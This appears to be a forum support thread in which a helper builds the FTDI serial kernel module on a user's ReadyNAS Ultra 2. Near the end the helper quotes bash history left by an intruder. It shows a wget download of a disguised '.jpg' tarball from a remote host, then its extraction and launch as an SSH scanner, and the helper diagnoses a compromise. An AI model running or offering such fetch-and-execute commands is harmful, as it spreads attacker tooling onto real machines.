Thanks, got it. I'll try to take a look in between other stuff. Starting right now by downloading the GPL packages to it.

GPL extracted. Selected the FTDI module in the kernels 'menuconfig'. Now waiting for the Kernel to compile (will take awhile, U2 is not super fast), then I can try installing the module. If all goes well, will see it. If not, will need more tweaking.

Is the device connected right now?

Yes, the usb device is connected.
When i unplug/plug it in again and use dmesg i get this message.

usb 3-1: USB disconnect, device number 2
usb 3-1: new full speed USB device number 3 using uhci_hcd

Re-compiling, had some issues with version. The GPL uses a stock kernel tree, not same compile options the actual systems use.

Disconnect, reconnect now.

/data/Backup/GPL/linux-3.0.74# make modules_install
  INSTALL drivers/usb/serial/ftdi_sio.ko
  INSTALL drivers/usb/serial/usbserial.ko
  DEPMOD  3.0.74.RNx86_64.2.1

Spoke too soon, need to do some more stuff.

modprobe: can't load module usbserial (kernel/drivers/usb/serial/usbserial.ko): invalid module format

Thank you for your help so far, seams like you are getting close to get it working but what do i know, wish i could learn this stuff myself :)

Trying it again, takes 30-40 minutes on the Ultra 2 to compile it.

We are in business!

At the same time, unless you've been doing this stuff on your box, I suggest you factory default it, and change the root SSH password.

  96  wget http://root-arhive.at.ua/scanner/gosh.jpg gosh.jpg
   97  tar zxvf gosh.jpg 
   98  rm -rf gosh.jpg 
   99  cd gosh
  100  touch bios.txt
  101  ./go.sh 146

I saw /usr/sbin/apache/log (does not exist) using a lot of CPU earlier. My guess is there is a rootkit on your NAS. Looking at that program, its an SSH scanner. Your box has been compromised. Not surprised being port 22, with default password :( I know how to get the kernel modules compiled properly on this platform now, so it will be easy for me to re-produce on a new clean install.
